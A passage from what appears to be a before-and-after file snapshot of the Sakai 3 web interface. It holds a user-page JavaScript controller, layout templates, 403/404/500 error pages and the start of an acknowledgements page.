[pubdata, false, contextData, puburl, privurl]);\n            }\n        };\n\n        var renderEntity = function(){\n            if (contextType && contextData) {\n                $(window).trigger(\"sakai.entity.init\", [\"user\", contextType, contextData]);\n            }\n        };\n\n        var showWelcomeNotification = function(){\n            var querystring = new Querystring();\n            if (querystring.contains(\"welcome\") && querystring.get(\"welcome\") === \"true\" && !sakai.data.me.user.anon){\n                sakai.api.Util.notification.show(sakai.api.i18n.getValueForKey(\"WELCOME\") + \" \" + sakai.data.me.profile.basic.elements.firstName.value,sakai.api.i18n.getValueForKey(\"YOU_HAVE_CREATED_AN_ACCOUNT\"));\n            }\n        };\n\n        $(window).bind(\"sakai.addToContacts.requested\", function(ev, userToAdd){\n            $('.sakai_addtocontacts_overlay').each(function(index) {\n                if (entityID && entityID !== sakai.data.me.user.userid){\n                    contextType = \"contact_pending\";\n                    renderEntity();\n                }\n            });\n        });\n\n        $(\"#entity_user_accept_invitation\").live(\"click\", function(){\n            sakai.api.User.acceptContactInvite(contextData.userid);\n            contextType = \"contact\";\n            renderEntity();\n        });\n\n        $(window).bind(\"sakai.entity.ready\", function(){\n            renderEntity();\n        });\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n\n        $(window).bind(\"updated.counts.lhnav.sakai\", function(){\n            sakai.api.User.getUpdatedCounts(sakai.data.me, function(success){\n                renderEntity();\n                generateNav();\n            });\n        });\n\n        $(window).bind(\"done.newaddcontent.sakai\", function(e, data, library) {\n            if (isMe && data && data.length && library === sakai.data.me.user.userid) {\n                $(window).trigger(\"lhnav.updateCount\", [\"library\", data.length]);\n            }\n        });\n\n        $(window).bind(\"updated.messageCount.sakai\", function(){\n            if (isMe){\n                sakai.api.Communication.getUnreadMessagesCountOverview(\"inbox\", function(success, counts){\n                    messageCounts = counts;\n                    var totalCount = 0;\n                    // The structure of these objects make for O(n^2) comparison :(\n                    $.each(messageCounts.count, function(index, countObj){\n                        var pageid = \"messages/\";\n                        if (countObj.group === \"message\"){\n                            pageid += \"inbox\";\n                        } else if (countObj.group === \"invitation\"){\n                            pageid += \"invitations\";\n                        }\n                        totalCount += countObj.count;\n                        $(window).trigger(\"lhnav.updateCount\", [pageid, countObj.count, false]);\n                    });\n                    $(window).trigger(\"lhnav.updateCount\", [\"messages\", totalCount, false]);\n                }, false);\n            }\n        });\n\n        determineContext();\n        renderEntity();\n        generateNav();\n        showWelcomeNotification();\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"user\");\n});\n", "dev/layout1.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div class=\"s3d-page-column-right\"><!----></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        \n    </body>\n</html>\n", "dev/layout2.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n                <div class=\"s3d-page-fullcolumn-padding\">\n                    <!-- Content with padding --></div>\n                <!-- <div class=\"s3d-page-fullcolumn-nopadding\">\n                    Content without padding\n                </div> -->\n                <div class=\"fl-push fl-widget\"><!-- --></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n    </body>\n</html>\n"}, "files_after": {"dev/403.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <!-- Sakai 3 R&amp;D - Access denied -->\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n        <!-- Sakai Error CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.error.css\" />\n\n    </head>\n\n    <body class=\"fl-centered error403 i18nable\">\n\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"error_content\">\n                <div id=\"error_content_second_column\">\n                    <div id=\"error_sign_in_button\">\n                        <p class=\"error_signin_button topnavigation_trigger_login\"><button>__MSG__SIGN_IN__</button></p>\n                        <p id=\"error_sign_up\">__MSG__NO_ACCOUNT__ <a class=\"s3d-regular-links s3d-bold\" href=\"/register\">__MSG__SIGN_UP__</a></p>\n                    </div>\n                    <div class=\"error_content_second_column_box\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ARE_YOU_LOOKING_FOR__</div>\n                        <div id=\"error_content_second_column_box_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=content\">__MSG__CONTENT__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=people\">__MSG__PEOPLE__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div id=\"error_second_column_links_template\" style=\"display:none\"><!--\n                            {for w in worlds}\n                                <div class=\"error_content_second_column_box_item_container\">\n                                    <div class=\"error_content_second_column_box_item_content\">\n                                        <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=${w.id}\">${w.label}</a>\n                                    </div>\n                                </div>\n                                {if !w.last}\n                                    <hr class=\"s3d-split-line fl-push\" />\n                                {/if}\n                            {/for}\n                            <div class=\"error_content_second_column_box_footer\"></div>\n                            --></div>\n                        </div>\n                    </div>\n\n                    <div class=\"error_content_second_column_box browse_cats\">\n                        <div class=\"s3d-contentpage-title\">__MSG__BROWSE_CATEGORIES__</div>\n                        <div id=\"error_content_second_column_box_browse_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <p>__MSG__YOU_CAN_BROWSE_THIS_INSTITUTION__ <a href=\"/categories\"><span class=\"error_browse_cats\"><span id=\"error_browse_category_number\"></span> __MSG__CATEGORIES_LC__</span></a> __MSG__WHERE_YOU_CAN_CONNECT_WITH_PEOPLE_VIEW_COURSE_DETAILS_SEARCH_FOR_CONTENT_AND_JOIN_GROUPS__</p>\n                                </div>\n                            </div>\n                         <div class=\"error_content_second_column_box_footer\">\n                            <a href=\"/categories\" id=\"error_browse_categories_button\">\n                                <button class=\"s3d-button s3d-overlay-button\">__MSG__BROWSE_CATEGORIES__</button>\n                            </a>\n                         </div>\n                        </div>\n                    </div>\n                </div>\n                <div id=\"error_content_first_column\">\n                    <img src=\"/dev/images/403_sinking.png\" alt=\"__MSG__YOU_ARE_NOT_ALLOWED_TO_SEE_THIS_PAGE__\" />\n                    <div id=\"error_content_first_column_content\">\n                        <h1>__MSG__YOU_ARE_NOT_ALLOWED_TO_SEE_THIS_PAGE__</h1>\n                        <h3 class=\"first\">__MSG__YOU_TRIED_TO_ACCESS_PAGE_WITHOUT_PERMISSIONS__</h3>\n\n                        <h3>__MSG__WHAT_TO_DO_NOW_HERE_ARE_SOME_SUGGESTIONS__</h3>\n                        <div class=\"s3d-search-container\">\n                            <input type=\"text\" tabindex_none=\"40\" id=\"errorsearch_text\" title=\"__MSG__SEARCH_FOR__\" class=\"s3d-search-inputfield\" maxlength=\"255\"/>\n                            <button type=\"button\" class=\"s3d-button s3d-overlay-button s3d-search-button\">\n                                <img src=\"/dev/images/search_icon.png\" alt=\"__MSG__SEARCH_FOR__\"/>\n                            </button>\n                        </div>\n\n                        <div id=\"error_page_links_container\"></div>\n                        <div id=\"error_page_links_template\" style=\"display:none\"><!--\n                            <ul>\n                                {for w in links.whatToDo}\n                                    <li><a class=\"s3d-regular-links s3d-bold\" href=\"${w.url}\">${sakai.api.i18n.getValueForKey(w.title)}</a></li>\n                                {/for}\n                                {if document.referrer}\n                                    <li><a href=\"${document.referrer}\" class=\"s3d-regular-links s3d-bold\">__MSG__GO_BACK_BY_USING_YOUR_BROWSER_BACK_BUTTON__</a></li>\n                                {/if}\n                            </ul>\n\n                            {if links.getInTouch && links.getInTouch.length > 0}\n                                <h3>__MSG__GET_IN_TOUCH__</h3>\n                                <ul>\n                                    {for g in links.getInTouch}\n                                        <li><a class=\"s3d-regular-links s3d-bold\" href=\"${g.url}\">${sakai.api.i18n.getValueForKey(g.title)}</a></li>\n                                    {/for}\n                                </ul>\n                            {/if}\n                        --></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- 403 JS -->\n        <script>require([\"/dev/javascript/sakai.403.js\"]);</script>\n    </body>\n</html>\n", "dev/404.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <!-- Sakai 3 R&amp;D - Page not found -->\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n        <!-- Sakai Error CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.error.css\" />\n\n    </head>\n\n    <body class=\"fl-centered error404 i18nable\">\n\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"error_content\">\n                <div id=\"error_content_second_column\">\n                    <div id=\"error_sign_in_button\">\n                        <p class=\"error_signin_button topnavigation_trigger_login\"><button>__MSG__SIGN_IN__</button></p>\n                        <p id=\"error_sign_up\">__MSG__NO_ACCOUNT__ <a class=\"s3d-regular-links s3d-bold\" href=\"/register\">__MSG__SIGN_UP__</a></p>\n                    </div>\n                    <div class=\"error_content_second_column_box\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ARE_YOU_LOOKING_FOR__</div>\n                        <div id=\"error_content_second_column_box_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=content\">__MSG__CONTENT__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=people\">__MSG__PEOPLE__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div id=\"error_second_column_links_template\" style=\"display:none\"><!--\n                            {for w in worlds}\n                                <div class=\"error_content_second_column_box_item_container\">\n                                    <div class=\"error_content_second_column_box_item_content\">\n                                        <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=${w.id}\">${w.label}</a>\n                                    </div>\n                                </div>\n                                {if !w.last}\n                                    <hr class=\"s3d-split-line fl-push\" />\n                                {/if}\n                            {/for}\n                            <div class=\"error_content_second_column_box_footer\"></div>\n                            --></div>\n                        </div>\n                    </div>\n\n                    <div class=\"error_content_second_column_box browse_cats\">\n                        <div class=\"s3d-contentpage-title\">__MSG__BROWSE_CATEGORIES__</div>\n                        <div id=\"error_content_second_column_box_browse_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <p>__MSG__YOU_CAN_BROWSE_THIS_INSTITUTION__ <a href=\"/categories\"><span class=\"error_browse_cats\"><span id=\"error_browse_category_number\">0</span> __MSG__CATEGORIES_LC__</span></a> __MSG__WHERE_YOU_CAN_CONNECT_WITH_PEOPLE_VIEW_COURSE_DETAILS_SEARCH_FOR_CONTENT_AND_JOIN_GROUPS__</p>\n                                </div>\n                            </div>\n                         <div class=\"error_content_second_column_box_footer\">\n                            <a href=\"/categories\" id=\"error_browse_categories_button\">\n                                <button class=\"s3d-button s3d-overlay-button\">__MSG__BROWSE_CATEGORIES__</button>\n                            </a>\n                         </div>\n                        </div>\n                    </div>\n                </div>\n                <div id=\"error_content_first_column\">\n                    <img src=\"/dev/images/404_sinking.png\" alt=\"__MSG__THE_PAGE_YOU_REQUESTED_WAS_NOT_FOUND__\" />\n                    <div id=\"error_content_first_column_content\">\n                        <h1>__MSG__THE_PAGE_YOU_REQUESTED_WAS_NOT_FOUND__</h1>\n                        <h3 class=\"first\">__MSG__POSSIBLE_REASONS_FOR_THE_PAGE_NOT_BEING_FOUND__</h3>\n                        <div id=\"page_not_found_error\"></div>\n                        <div id=\"page_not_found_error_logged_out_template\" style=\"display:none;\"><!--\n                            <ol>\n                                <li>__MSG__LINKED_FROM_AN_OUTDATED_BOOKMARK__</li>\n                                <li>__MSG__A_MISTYPED_ADDRESS_URL_WAS_ENTERED__</li>\n                                <li>__MSG__AN_INCORRECT_LINK_WAS_FOLLOWED_FROM_SOMEWHERE__</li>\n                                <li>__MSG__YOU_MAY_NOT_HAVE_ACCESS_TO_VIEW_THE_PAGE_LOGGED_OUT__. <button id=\"signin_from_content\" class=\"s3d-link-button topnavigation_trigger_login\">__MSG__SIGN_IN__</button> __MSG__AND_TRY_AGAIN__</li>\n                            </ol>\n                        --></div>\n                        <div id=\"page_not_found_error_logged_in_template\" style=\"display:none;\"><!--\n                            <ol>\n                                <li>__MSG__LINKED_FROM_AN_OUTDATED_BOOKMARK__</li>\n                                <li>__MSG__A_MISTYPED_ADDRESS_URL_WAS_ENTERED__</li>\n                                <li>__MSG__AN_INCORRECT_LINK_WAS_FOLLOWED_FROM_SOMEWHERE__</li>\n                                <li>__MSG__YOU_MAY_NOT_HAVE_ACCESS_TO_VIEW_THE_PAGE_LOGGED_IN__</li>\n                            </ol>\n                        --></div>\n                        <h3>__MSG__WHAT_TO_DO_NOW_HERE_ARE_SOME_SUGGESTIONS__</h3>\n                        <div class=\"s3d-search-container\">\n                            <input type=\"text\" tabindex_none=\"40\" id=\"errorsearch_text\" title=\"__MSG__SEARCH_FOR__\" class=\"s3d-search-inputfield\" maxlength=\"255\"/>\n                            <button type=\"button\" class=\"s3d-button s3d-overlay-button s3d-search-button\">\n                                <img src=\"/dev/images/search_icon.png\" alt=\"__MSG__SEARCH_FOR__\"/>\n                            </button>\n                        </div>\n\n                        <div id=\"error_page_links_container\"></div>\n                        <div id=\"error_page_links_template\" style=\"display:none\"><!--\n                            <ul>\n                                {for w in links.whatToDo}\n                                    <li><a class=\"s3d-regular-links s3d-bold\" href=\"${w.url}\">${sakai.api.i18n.getValueForKey(w.title)}</a></li>\n                                {/for}\n                                {if document.referrer}\n                                    <li><a href=\"${document.referrer}\" class=\"s3d-regular-links s3d-bold\">__MSG__GO_BACK_BY_USING_YOUR_BROWSER_BACK_BUTTON__</a></li>\n                                {/if}\n                            </ul>\n\n                            {if links.getInTouch && links.getInTouch.length > 0}\n                                <h3>__MSG__GET_IN_TOUCH__</h3>\n                                <ul>\n                                    {for g in links.getInTouch}\n                                        <li><a class=\"s3d-regular-links s3d-bold\" href=\"${g.url}\">${sakai.api.i18n.getValueForKey(g.title)}</a></li>\n                                    {/for}\n                                </ul>\n                            {/if}\n                        --></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- 404 JS -->\n        <script>require([\"/dev/javascript/sakai.404.js\"]);</script>\n    </body>\n</html>\n", "dev/500.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" class=\"requireAnon\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <!-- Sakai 3 R&amp;D - Access denied -->\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n        <!-- Sakai Error CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.error.css\" />\n\n    </head>\n\n    <body class=\"fl-centered error500 i18nable\">\n\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"error_content\">\n                <div id=\"error_content_second_column\">\n                    <div id=\"error_sign_in_button\">\n                        <p class=\"error_signin_button topnavigation_trigger_login\"><button>__MSG__SIGN_IN__</button></p>\n                        <p id=\"error_sign_up\">__MSG__NO_ACCOUNT__ <a class=\"s3d-regular-links s3d-bold\" href=\"/register\">__MSG__SIGN_UP__</a></p>\n                    </div>\n                    <div class=\"error_content_second_column_box\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ARE_YOU_LOOKING_FOR__</div>\n                        <div id=\"error_content_second_column_box_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=content\">__MSG__CONTENT__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=people\">__MSG__PEOPLE__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div id=\"error_second_column_links_template\" style=\"display:none\"><!--\n                            {for w in worlds}\n                                <div class=\"error_content_second_column_box_item_container\">\n                                    <div class=\"error_content_second_column_box_item_content\">\n                                        <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=${w.id}\">${w.label}</a>\n                                    </div>\n                                </div>\n                                {if !w.last}\n                                    <hr class=\"s3d-split-line fl-push\" />\n                                {/if}\n                            {/for}\n                            <div class=\"error_content_second_column_box_footer\"></div>\n                            --></div>\n                        </div>\n                    </div>\n\n                    <div class=\"error_content_second_column_box browse_cats\">\n                        <div class=\"s3d-contentpage-title\">__MSG__BROWSE_CATEGORIES__</div>\n                        <div id=\"error_content_second_column_box_browse_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <p>__MSG__YOU_CAN_BROWSE_THIS_INSTITUTION__ <a href=\"/categories\"><span class=\"error_browse_cats\"><span id=\"error_browse_category_number\"></span> __MSG__CATEGORIES_LC__</span></a> __MSG__WHERE_YOU_CAN_CONNECT_WITH_PEOPLE_VIEW_COURSE_DETAILS_SEARCH_FOR_CONTENT_AND_JOIN_GROUPS__</p>\n                                </div>\n                            </div>\n                         <div class=\"error_content_second_column_box_footer\">\n                            <a href=\"/categories\" id=\"error_browse_categories_button\">\n                                <button class=\"s3d-button s3d-overlay-button\">__MSG__BROWSE_CATEGORIES__</button>\n                            </a>\n                         </div>\n                        </div>\n                    </div>\n                </div>\n                <div id=\"error_content_first_column\">\n                    <img src=\"/dev/images/500_sinking.png\" alt=\"__MSG__OOPS_AN_ERROR_HAS_OCCURRED__\" />\n                    <div id=\"error_content_first_column_content\">\n                        <h1>__MSG__OOPS_AN_ERROR_HAS_OCCURRED__</h1>\n                        <h3 class=\"first\"></h3>\n\n                        <h3>__MSG__WHAT_TO_DO_NOW_HERE_ARE_SOME_SUGGESTIONS__</h3>\n                        <div class=\"s3d-search-container\">\n                            <input type=\"text\" tabindex_none=\"40\" id=\"errorsearch_text\" title=\"__MSG__SEARCH_FOR__\" class=\"s3d-search-inputfield\" maxlength=\"255\"/>\n                            <button type=\"button\" class=\"s3d-button s3d-overlay-button s3d-search-button\">\n                                <img src=\"/dev/images/search_icon.png\" alt=\"__MSG__SEARCH_FOR__\"/>\n                            </button>\n                        </div>\n\n                        <div id=\"error_page_links_container\"></div>\n                        <div id=\"error_page_links_template\" style=\"display:none\"><!--\n                            <ul>\n                                {for w in links.whatToDo}\n                                    <li><a class=\"s3d-regular-links s3d-bold\" href=\"${w.url}\">${sakai.api.i18n.getValueForKey(w.title)}</a></li>\n                                {/for}\n                                {if document.referrer}\n                                    <li><a href=\"${document.referrer}\" class=\"s3d-regular-links s3d-bold\">__MSG__GO_BACK_BY_USING_YOUR_BROWSER_BACK_BUTTON__</a></li>\n                                {/if}\n                            </ul>\n\n                            {if links.getInTouch && links.getInTouch.length > 0}\n                                <h3>__MSG__GET_IN_TOUCH__</h3>\n                                <ul>\n                                    {for g in links.getInTouch}\n                                        <li><a class=\"s3d-regular-links s3d-bold\" href=\"${g.url}\">${sakai.api.i18n.getValueForKey(g.title)}</a></li>\n                                    {/for}\n                                </ul>\n                            {/if}\n                        --></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- 500 JS -->\n        <script>require([\"/dev/javascript/sakai.500.js\"]);</script>\n    </body>\n</html>\n", "dev/acknowledgements.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        \n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.acknowledgements.css\" />\n\n    </head>\n    <body class=\"fl-centered acknowledgements i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header s3d-page-header-fullheight\">\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        \n        <!-- CONTENT -->\n        \n        <!-- CONTENT -->\n        <div id=\"acknowledgements_featured\" style=\"display:none\">\n            \n            <div class=\"acknowledgements_content\">\n\n            <!-- JQUERY -->\n            <div class=\"fl-fix fl-centered\">\n                <div class=\"fl-container fl-fix acknowledgement_container s3d-highlight_area_background\">\n                    <div class=\"fl-container\">\n                        <div class=\"acknowledgement_image_container\" style=\"float:left; width:200px;padding:10px;\">\n                        <img src=\"/dev/images/logo_jquery.png\" alt=\"__MSG__JQUERY__\"></img>\n                        <img src=\"/dev/images/logo_jquery_ui.png\" alt=\"__MSG__JQUERY__\"></img>\n                        </div>\n                        <div class=\"acknowledgement_information\">\n                            <h1>__MSG__JQUERY_AND_JQUERY_UI__</h1>\n                            <a href=\"http://www.jquery.com\">www.jquery.com</a> <br /><br />\n                            <span>__MSG__JQUERY_IS_A_FAST_AND_CONCISE__</span>\n                        </div>\n                    </div>\n                </div>\n            </div>\n\n            <!-- APACHE SLING -->\n            <div class=\"fl-fix fl-centered\">\n                <div class=\"fl-container fl-fix acknowledgement_container s3d-highlight_area_background\">\n                    <div class=\"fl-container\">\n                        <div class=\"acknowledgement_image_container\" style=\"float:left; width:200px;padding:10px;\">\n                            <img src=\"/dev/images/logo_sling.png\" alt=\"__MSG__APACHE_SLING__\"></img>\n                        </div>\n                        <div class=\"acknowledgement_information\">\n                            <h1>__MSG__APACHE_SLING__</h1>\n                            <a href=\"http://sling.apache.org\">sling.apache.org</a> <br /><br />\n                            <span>__MSG__APACHE_SLING_IS_A_WEB_FRAMWORK__</span>\n                        </div>\n                    </div>\n                </div>\n            </div>\n\n            <!-- FLUID -->\n            <div class=\"fl-fix fl-centered\">\n                <div class=\"fl-container fl-fix acknowledgement_container s3d-highlight_area_background\">\n                    <div class=\"fl-container\">\n                        <div class=\"acknowledgement_image_container\" style=\"float:left; width:200px;padding:10px;\">\n                            <img src=\"/dev/images/logo_fluid.png\" alt=\"__MSG__FLUID_INFUSION__\"></img>\n                        </div>\n                        <div class=\"acknowledgement_information\">\n                            